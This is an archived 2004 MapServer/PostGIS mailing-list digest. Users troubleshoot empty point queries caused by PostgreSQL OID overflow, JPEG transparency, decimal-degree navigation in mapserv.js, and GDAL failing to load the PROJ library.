> && setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
> 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
>
> OK. That's good. Because if I stick the SELECT part at a psql prompt, I
> get back the row I want. And I also notice that its OID is 2185295089.
>
> But if I look at the last sql statement in the log, it's another cursor,
> but the OID is wrong.
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
>
> station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius:
> :text,temperature_fahrenheit::text,value_temperature_celcius::text,value_te
> :m
>
> perature_fahrenheit::text,lon::text,lat::text,title::text,institution::text
>,
> institution_url::text,institution_dods_url::text,source::text,refs::text,co
>n
> tact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_g
>e om)),'NDR') from sst_map WHERE OID = 2147483647
>
> So had they kept the OID, I would be in good shape.
>
> This isn't looking good!!!
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 11:11 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
>
>
>
>
> If you turn on the logging of statements in postgres and run the mapserver
> side of things, does the query show up in the logs ?
>
> If the query does not appear then I'd suspect networking or permissions or
> some darn thing keeping postgres from ever seeing the query.
>
> It it does show up then maybe the problem is in the return trip to MS or
> in the processing of that data (perhaps your OID suspicions), since it
> sounds as if the query itself can be processed.
>
> Any changes to *anything* on either server and anything in between ? (not
> likely but always worth ruling out)
>
> Or, shot in the dark, something messing with TOLERANCE so no points are
> selected in a query ?
>
> Very puzzling, I agree.
>
> Greg W.
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 7:59 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
> Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
> see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the points
> correctly. If I take that query and plug it in to the command line, I see
> the rows. But the moment I try to do either a cgi query, WFS query, or a
> PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen
> anything like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have gotten
> mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or whatever)
> does the query return results ?
>
> If so, then my guess is that this is not a database error, at least not
> directly. If ot then yes, it would seem that somehow the postGIS itself has
> gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me like
> it should effect queries unless somehow the SRID info for the tables in
> your mapserver queries got clobbered; should be easy enough to confirm that
> this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does the
> mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list would
> add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now it
> appears that the mapping is still great, but the point query and WFS are
> toast. I don't get any errors in pgsql.log or php.log. I get . . .
> nothing. Even going mapserv cgi query returns empty for a query I know
> should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed that
> addgeometrycolumn was taking too long -- I create about 400 smaller tables
> per day. So I commented out fix_geometry_columns(); from the
> addgeometrycolumn function and did it once I had finished creating all my
> new tables. So am I paying the price? Has this corrupted this database as
> well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
> --__--__--
>
> Message: 9
> Date: Sat, 01 May 2004 21:08:54 -0700
> From: Paul Ramsey
> Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my query
> results
> To: Charlton Purvis
> Cc: PostGIS Users Discussion ,
> mapserver-users@lists.gis.umn.edu
>
> Got your back, Charlton :)
> The problem is that your PostgreSQL oids are larger than the mapserver
> row number variable can store. The oid is larger than a signed 32 bit
> integer can store.
> So, solution.
> Do not use oid as your "unique" field. Make use of the "using unique"
> clause in your data statement, and reference a different unique field
> in your table. Make sure that field is indexed. If you have loaded your
> data with shp2pgsql, you probably have a 'gid' field you can use that
> is a primary key (and therefore already indexed).
> Yours,
> Paul
>
> On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote:
> > OK, Greg, I think we might be onto something. But it still looks very
> > grim.
> >
> > I turned on all the logging, and I notice that MS sends it this query:
> >
> > LOCATION: pg_parse_query, postgres.c:464
> > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom))
> > ,'NDR'),OID::text from sst_map WHERE
> > (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) =
> > date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00')
> > and (label_z <= 5 or label_z is null)) and (the_geom && setSRID(
> > 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
> > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
> >
> > OK. That's good. Because if I stick the SELECT part at a psql
> > prompt, I get back the row I want. And I also notice that its OID is
> > 2185295089.
> >
> > But if I look at the last sql statement in the log, it's another
> > cursor, but the OID is wrong.
> >
> > LOCATION: pg_parse_query, postgres.c:464
> > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> > station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel
> > cius::text,temperature_fahrenheit::text,value_temperature_celcius::text
> > ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins
> >
> > titution::text,institution_url::text,institution_dods_url::text,source:
> > :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c
> >
> > ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID =
> > 2147483647
> >
> > So had they kept the OID, I would be in good shape.
> >
> > This isn't looking good!!!
> >
> > Charlton
> >
> > -----Original Message-----
> > From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> > Sent: Sat 5/1/2004 11:11 PM
> > To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> > Cc:
> > Subject: RE: [postgis-users] RE: gone are my query results
> >
> >
> >
> >
> > If you turn on the logging of statements in postgres and run the
> > mapserver side of things, does the query show up in the logs ?
> >
> > If the query does not appear then I'd suspect networking or
> > permissions or some darn thing keeping postgres from ever seeing the
> > query.
> >
> > It it does show up then maybe the problem is in the return trip to MS
> > or in the processing of that data (perhaps your OID suspicions), since
> > it sounds as if the query itself can be processed.
> >
> > Any changes to *anything* on either server and anything in between ?
> > (not likely but always worth ruling out)
> >
> > Or, shot in the dark, something messing with TOLERANCE so no points
> > are selected in a query ?
> >
> > Very puzzling, I agree.
> >
> > Greg W.
> >
> > -----Original Message-----
> > From: Charlton Purvis on behalf of Charlton Purvis
> > Sent: Sat 5/1/2004 7:59 PM
> > To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> > Cc:
> > Subject: RE: [postgis-users] RE: gone are my query results
> > Thanks for your reply, Gregory. I'm forwarding this onto the MS
> > folks to see if they have any pearls of wisdom.
> >
> > Everything looks great in the db. If I render a map, I see all the
> > points correctly. If I take that query and plug it in to the command
> > line, I see the rows. But the moment I try to do either a cgi query,
> > WFS query, or a PHP query, I get nothing back. No error message.
> >
> > I'm actually getting panicky which isn't any fun. Has anyone seen
> > anything like this before?
> >
> > Queries rely on OID's and SRID's. Is there any way they could have
> > gotten mucked up? Can I somehow refresh them?
> >
> > Thanks,
> >
> > Charlton
> >
> > -----Original Message-----
> > From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> > Sent: Sat 5/1/2004 6:20 PM
> > To: PostGIS Users Discussion
> > Cc:
> > Subject: [postgis-users] RE: gone are my query results
> >
> >
> >
> >
> > If you do the query directly to postgres (via psql or pgAdmin or
> > whatever) does the query return results ?
> >
> > If so, then my guess is that this is not a database error, at least
> > not directly. If ot then yes, it would seem that somehow the postGIS
> > itself has gottent snarfled.
> >
> > The change you made relating the geometryColumns doesn't sound to me
> > like it should effect queries unless somehow the SRID info for the
> > tables in your mapserver queries got clobbered; should be easy enough
> > to confirm that this data is ok.
> >
> > I am not familiar enough with PHP and mapserver to have a clue; does
> > the mapserver log itself show anything ?
> >
> > Not much help, I'm afraid, but perhaps posting this to the MMS list
> > would add some more knowledge to the issue at hand ?
> >
> > Greg Williamson
> > DBA
> > GlobeXplorer LLC
> >
> > -----Original Message-----
> > From: Charlton Purvis on behalf of Charlton Purvis
> > Sent: Sat 5/1/2004 2:46 PM
> > To: PostGIS Users Discussion
> > Cc:
> > Subject: gone are my query results
> > Hi, folks:
> >
> > Bizarre and unnerving problem here.
> >
> > Up until last night, mapping was fine and point-query was fine. Now
> > it appears that the mapping is still great, but the point query and
> > WFS are toast. I don't get any errors in pgsql.log or php.log. I get
> > . . . nothing. Even going mapserv cgi query returns empty for a query
> > I know should work.
> >
> > Maybe I'm being taught a lesson. In a separate database, I noticed
> > that addgeometrycolumn was taking too long -- I create about 400
> > smaller tables per day. So I commented out fix_geometry_columns();
> > from the addgeometrycolumn function and did it once I had finished
> > creating all my new tables. So am I paying the price? Has this
> > corrupted this database as well as my other?
> >
> > If all this is OID stuff, is there any way to refresh all OID's?
> >
> > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
> >
> > Thanks,
> >
> > Charlton
> >
> >
> >
> > _______________________________________________
> > postgis-users mailing list
> > postgis-users@postgis.refractions.net
> > http://postgis.refractions.net/mailman/listinfo/postgis-users
> >
> >
> >
> >
> >
> > _______________________________________________
> > postgis-users mailing list
> > postgis-users@postgis.refractions.net
> > http://postgis.refractions.net/mailman/listinfo/postgis-users
> >
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users@lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> Paul Ramsey
> Refractions Research
> Email: pramsey@refractions.net
> Phone: (250) 885-0632
>
>
>
> --__--__--
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
> End of Mapserver-users Digest
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ARyan@co.linn.or.us Mon May 3 19:38:32 2004
From: ARyan@co.linn.or.us (Ryan, Adam)
Date: Mon, 3 May 2004 11:38:32 -0700
Subject: [Mapserver-users] Which is better: PHPMapScript query engine
or PHP dBase functions?
Message-ID: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS>
Eduardo,
I might be off track but...
I thought about this myself. In order to display the result shapes you need
to have a query result either from doing the query in mapscript or loading a
saved query file. The former defeats the point of querying the dBase since
you're duplicating your steps, and the later requires you to manually build
a query file but you can't do that unless you can get at the dBase record -
shapefile index relationship which I don't know how to do.
Again, I may be off track, but querying the dBase file may not be feasible.
Adam
-----Original Message-----
From: Eduardo Patto Kanegae [mailto:eduardo@consultoria.eti.br]
Sent: Monday, May 03, 2004 11:06 AM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP
dBase functions?
I have a mapserver+php+mapscript that will query on a shapefile database on
a single layer, through its atributes.
The system will give as result a set of items on a result list as a first
step.
Then as a second step a map displaying these results should be given.
my doubt is: to create this result list which will be best strategy:
- use PHPMapScript to query against the mapfile ?
or
- simply use PHP dBase functions to query against dBase files of the
mapfile?
which one is the best/fastest alternative?
best regards.
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254
I Encontro Nacional de Usuários MapServer -
http://mapserver.cttmar.univali.br/encontro2004
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
***Fim da Mensagem / End of Message ***
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From stephen.clark@focus.ca Mon May 3 19:49:51 2004
From: stephen.clark@focus.ca (Stephen Clark)
Date: Mon, 3 May 2004 11:49:51 -0700
Subject: [Mapserver-users] http://slkapps2.env.gov.bc.ca:80/servlet/com.esri.wms.esrimap wms server Request cabalilities hyperlink problem!
Message-ID: <02ff01c4313f$6af442f0$6c000a0a@sclark>
Does anyone know if there is a new link for the Request Capabilities for
this WMS server
http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap?version=1.1.0&request=capabilities
thanks
Stephen
From rgould@refractions.net Mon May 3 19:49:26 2004
From: rgould@refractions.net (Richard Gould)
Date: Mon, 03 May 2004 11:49:26 -0700
Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency
Message-ID: <40969436.8020804@refractions.net>
So I have this JPEG layer that I wish to draw on top of a couple other
Shapefile layers, and I want it to be translucent. So in the mapfile I
have set:
OFFSITE 255 255 255
And everything I want to be transparent is set to white (255, 255, 255).
However, when the layers are rendered and drawn, all the borders around
the non-transparent parts of the raster are surrounded by a near-white
(252, 252, 252) border.
You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png
The grey layers are shapefiles, the greenish-white layer is my JPEG raster.
Does anyone have any idea how to solve this problem?
Thanks,
Richard
From mtperry78@sbcglobal.net Mon May 3 20:00:48 2004
From: mtperry78@sbcglobal.net (Matthew Perry)
Date: Mon, 3 May 2004 12:00:48 -0700 (PDT)
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <20040503190048.59466.qmail@web80103.mail.yahoo.com>
Hey all,
I have been using the mapserv.js and dbox.js
libraries for developing mapserver interfaces. It
works great for projected data but now we're trying to
get the navigation tools (panning, zooming, etc) to
work with decimal degrees.
In the mapserv.js, there is a global variable called
InchesPerMapUnit that you need to set correctly if not
using meters. Since lat/long is measured in angular
units (degrees), how would you set this variable?
Are there any other tricks to get the coordinate
calculations working with lat/long? Anyone had any
luck with this? Is it even possible?
Thanks for any input!
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
From jnielsen@aero-graphics.com Mon May 3 20:17:09 2004
From: jnielsen@aero-graphics.com (Jason M. Nielsen)
Date: Mon, 3 May 2004 13:17:09 -0600
Subject: [Mapserver-users] gdal cant find proj library.
Message-ID: <1083611829.40969ab5d0041@www.agi-lan.com>
Another gdal question. Thought maybe some on this list could help. Seems my
requests for post to the gdal mailing list have been waiting since last week.
[root@localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711
DEM11041/W001001.ADF out.tif
ERROR 6: Unable to load PROJ.4 library (libproj.so), creation of
OGRCoordinateTransformation failed.
Anyone know whats going on here?
Reprojection works fine in ogr and mapserver as well as the proj utilities.
ld.so.conf has /usr/local/lib which contains the libproj files. ldconfig has
been run etc. Im not seeing ldproj show up with ldconfig -v though and
apparently gdal is having an issue with it too. This is all on Fedora Core 1.
Thanks.
From ealpert@digitalglobe.com Mon May 3 20:21:18 2004
From: ealpert@digitalglobe.com (Ethan Alpert)
Date: Mon, 3 May 2004 13:21:18 -0600
Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency
Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BB7@COMAIL01.digitalglobe.com>
I'm somewhat new to mapserver but I use OFFSITE with tiff images. The
value OFFSITE takes is the color index not the RGB.
Since JPEG's don't use a color map like tiff images I'm not sure how you
can do this. You may have too convert the JPEGS to something that uses
indexed color.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Richard
Gould
Sent: Monday, May 03, 2004 12:49 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Problems drawing JPEG Raster with
Transparency
So I have this JPEG layer that I wish to draw on top of a couple other
Shapefile layers, and I want it to be translucent. So in the mapfile I
have set:
OFFSITE 255 255 255
And everything I want to be transparent is set to white (255, 255, 255).
However, when the layers are rendered and drawn, all the borders around
the non-transparent parts of the raster are surrounded by a near-white
(252, 252, 252) border.
You can see what I mean at:
http://gislab-60.unbc.ca/viewer/out/problem.png
The grey layers are shapefiles, the greenish-white layer is my JPEG
raster.
Does anyone have any idea how to solve this problem?
Thanks,
Richard
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ed@topozone.com Mon May 3 20:27:20 2004
From: ed@topozone.com (Ed McNierney)
Date: Mon, 3 May 2004 15:27:20 -0400
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4473@mercator.topozone.com>
Matt -
The problem with unprojected data is that it's a strange and
hard-to-interpret data set when you try to measure something!
If your data is displayed in "decimal degrees" that means that one
degree of latitude and one degree of longitude form a square. Of
course, they don't really do that anywhere on the Earth. And unless
you're really close to the equator, one degree of longitude is
noticeably shorter than one degree of latitude. And the length of one
degree of longitude varies depending on the latitude.
So you've got a map that lets users measure "one degree" - what does
that mean? It means that you're taking those angular units and trying
to pretend they're linear units. If someone measures between two points
on your map and measures one degree, they will know that the square root
of the sum of the latitude difference squared and the longitude
difference squared equals one. It does not tell them anything about how
far apart those two points are in any useful linear measurement (feet,
miles, meters, cubits, chains, furlongs, etc.).
And if you display a scalebar on that map, the units must be in
"degrees", whatever they are .
What kind of measurement are you hoping to display?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
Sent: Monday, May 03, 2004 3:01 PM
To: mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Hey all,
I have been using the mapserv.js and dbox.js libraries for developing
mapserver interfaces. It works great for projected data but now we're
trying to get the navigation tools (panning, zooming, etc) to work with
decimal degrees.
In the mapserv.js, there is a global variable called InchesPerMapUnit
that you need to set correctly if not using meters. Since lat/long is
measured in angular units (degrees), how would you set this variable?
Are there any other tricks to get the coordinate calculations working
with lat/long? Anyone had any luck with this? Is it even possible?
Thanks for any input!
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ealpert@digitalglobe.com Mon May 3 20:31:54 2004
From: ealpert@digitalglobe.com (Ethan Alpert)
Date: Mon, 3 May 2004 13:31:54 -0600
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BB8@COMAIL01.digitalglobe.com>
Did you change the extents of the calls to dBox and Mapserv?
>From the demo there's a file called itasca_add_dhtml.html
In that file there are calls to create dBox and Mapserv that require
proper extents. In addition theres a mounsemove_handler which you'll
need to change to display the proper coordinates.
I got mine to work but I'm using a very simple map. I'd imaging that
crossing the date line or a any map that contains a pole might cause
problems with the calculations.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Matthew
Perry
Sent: Monday, May 03, 2004 1:01 PM
To: mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Hey all,
I have been using the mapserv.js and dbox.js
libraries for developing mapserver interfaces. It
works great for projected data but now we're trying to
get the navigation tools (panning, zooming, etc) to
work with decimal degrees.
In the mapserv.js, there is a global variable called InchesPerMapUnit
that you need to set correctly if not using meters. Since lat/long is
measured in angular units (degrees), how would you set this variable?
Are there any other tricks to get the coordinate
calculations working with lat/long? Anyone had any
luck with this? Is it even possible?
Thanks for any input!
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From jnielsen@aero-graphics.com Mon May 3 20:53:08 2004
From: jnielsen@aero-graphics.com (Jason M. Nielsen)
Date: Mon, 3 May 2004 13:53:08 -0600
Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency
In-Reply-To: <40969436.8020804@refractions.net>
References: <40969436.8020804@refractions.net>
Message-ID: <1083613988.4096a324951a1@www.agi-lan.com>
Quoting Richard Gould :
> So I have this JPEG layer that I wish to draw on top of a couple other
> Shapefile layers, and I want it to be translucent. So in the mapfile I
> have set:
> OFFSITE 255 255 255
>
> And everything I want to be transparent is set to white (255, 255, 255).
>
> However, when the layers are rendered and drawn, all the borders around
> the non-transparent parts of the raster are surrounded by a near-white
> (252, 252, 252) border.
>
> You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png
> The grey layers are shapefiles, the greenish-white layer is my JPEG raster.
>
> Does anyone have any idea how to solve this problem?
>
> Thanks,
>
> Richard
I think the issue you are running into is where the pixels you expect to be 255
are actually slightly off due to the compression of JPEG. I would try with tiff
and see if the samething happens. If not then thats more than likely your
problem. How to get around it though... That I dont know. Maybe you can
eliminate it with the FORMATOPTION "QUALITY=80" or some number over the default
so it wont mess with that solid color. I wonder if you could reclassify that
image as well. ie: Tell it to classify certain pixels as 255 255 255 and do this
for a range of them. Perhaps then they would become that and hence transparent.
Of course I have no idea when and where this all takes place so even if that is
possible it may be of no use. Or I could just be totally off in left field and
this has no application to the situation.
From TMitchell@lignum.com Mon May 3 21:15:42 2004
From: TMitchell@lignum.com (Tyler Mitchell)
Date: Mon, 3 May 2004 13:15:42 -0700
Subject: [Mapserver-users] http://slkapps2.env.gov.bc.ca:80/servlet/com.esri.wms.esrimap
wms server Request cabalilities hyperlink problem!
In-Reply-To: <02ff01c4313f$6af442f0$6c000a0a@sclark>
Message-ID:
The sample link seems to still work.
http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap?WMTVER=1.0.0&REQUEST=map&FORMAT=PNG&WIDTH=666&HEIGHT=395&SRS=EPSG%3A42102&BBOX=1001498.1912623825,1010055.062385347,1060235.8087376175,1044891.937614653&LAYERS=BC+Coastline+-+Polygons+%281%3A250K%29,Rivers%2C+Lakes%2C+Wetlands+%281%3A250K%29,BC+Coastline+-+Lines+%281%3A250K%29,Transportation+-+Lines+%281%3A250K%29,Water+-+Lines+%281%3A250K%29,Transportation+-+Points+%281%3A250K%29,Water+-+Points+%281%3A250K%29&STYLES=,,,,,,&TRANSPARENT=TRUE&
mapserver-users-admin@lists.gis.umn.edu wrote on 05/03/2004 11:49:51 AM:
>
> Does anyone know if there is a new link for the Request Capabilities for
> this WMS server
>
>
> http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap?
> version=1.1.0&request=capabilities
>
>
> thanks
> Stephen
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ealpert@digitalglobe.com Mon May 3 21:41:59 2004
From: ealpert@digitalglobe.com (Ethan Alpert)
Date: Mon, 3 May 2004 14:41:59 -0600
Subject: [Mapserver-users] gdal cant find proj library.
Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BBB@COMAIL01.digitalglobe.com>
Do you need set LD_LIBRARY_PATH? Where is libproj.so installed?
Try running ldd on gdalwarp. If it says libproj.so is "not found" then
you'll need to set LD_LIBRARY_PATH.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Jason M.
Nielsen
Sent: Monday, May 03, 2004 1:17 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] gdal cant find proj library.
Another gdal question. Thought maybe some on this list could help. Seems
my requests for post to the gdal mailing list have been waiting since
last week.
[root@localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711
DEM11041/W001001.ADF out.tif ERROR 6: Unable to load PROJ.4 library
(libproj.so), creation of OGRCoordinateTransformation failed.
Anyone know whats going on here?
Reprojection works fine in ogr and mapserver as well as the proj
utilities. ld.so.conf has /usr/local/lib which contains the libproj
files. ldconfig has been run etc. Im not seeing ldproj show up with
ldconfig -v though and apparently gdal is having an issue with it too.
This is all on Fedora Core 1.
Thanks.
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ealpert@digitalglobe.com Mon May 3 21:44:35 2004
From: ealpert@digitalglobe.com (Ethan Alpert)
Date: Mon, 3 May 2004 14:44:35 -0600
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BBC@COMAIL01.digitalglobe.com>
Still if you're using a rectilinear projection you should be able to set
this up provided you're not crossing the date line. Mercator or
Cylindrical equidistant should work. I can understand not being able to
do this with say a polar stereographic or a conic projection.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Ed
McNierney
Sent: Monday, May 03, 2004 1:27 PM
To: Matthew Perry; mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees
Matt -
The problem with unprojected data is that it's a strange and
hard-to-interpret data set when you try to measure something!
If your data is displayed in "decimal degrees" that means that one
degree of latitude and one degree of longitude form a square. Of
course, they don't really do that anywhere on the Earth. And unless
you're really close to the equator, one degree of longitude is
noticeably shorter than one degree of latitude. And the length of one
degree of longitude varies depending on the latitude.
So you've got a map that lets users measure "one degree" - what does
that mean? It means that you're taking those angular units and trying
to pretend they're linear units. If someone measures between two points
on your map and measures one degree, they will know that the square root
of the sum of the latitude difference squared and the longitude
difference squared equals one. It does not tell them anything about how
far apart those two points are in any useful linear measurement (feet,
miles, meters, cubits, chains, furlongs, etc.).
And if you display a scalebar on that map, the units must be in
"degrees", whatever they are .
What kind of measurement are you hoping to display?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
Sent: Monday, May 03, 2004 3:01 PM
To: mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Hey all,
I have been using the mapserv.js and dbox.js libraries for developing
mapserver interfaces. It works great for projected data but now we're
trying to get the navigation tools (panning, zooming, etc) to work with
decimal degrees.
In the mapserv.js, there is a global variable called InchesPerMapUnit
that you need to set correctly if not using meters. Since lat/long is
measured in angular units (degrees), how would you set this variable?
Are there any other tricks to get the coordinate calculations working
with lat/long? Anyone had any luck with this? Is it even possible?
Thanks for any input!
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ealpert@digitalglobe.com Mon May 3 23:09:04 2004
From: ealpert@digitalglobe.com (Ethan Alpert)
Date: Mon, 3 May 2004 16:09:04 -0600
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BC0@COMAIL01.digitalglobe.com>
One more thing. Does libproj support inverse mapping? This is how we
handled this problem when I worked on NCAR Graphics. We would map screen
coordinates into normalized device coordinates then apply an inverse
mapping to get the lat/lon of the screen coordinates.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Ethan
Alpert
Sent: Monday, May 03, 2004 2:45 PM
To: Ed McNierney; Matthew Perry; mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees
Still if you're using a rectilinear projection you should be able to set
this up provided you're not crossing the date line. Mercator or
Cylindrical equidistant should work. I can understand not being able to
do this with say a polar stereographic or a conic projection.
-e
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Ed
McNierney
Sent: Monday, May 03, 2004 1:27 PM
To: Matthew Perry; mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees
Matt -
The problem with unprojected data is that it's a strange and
hard-to-interpret data set when you try to measure something!
If your data is displayed in "decimal degrees" that means that one
degree of latitude and one degree of longitude form a square. Of
course, they don't really do that anywhere on the Earth. And unless
you're really close to the equator, one degree of longitude is
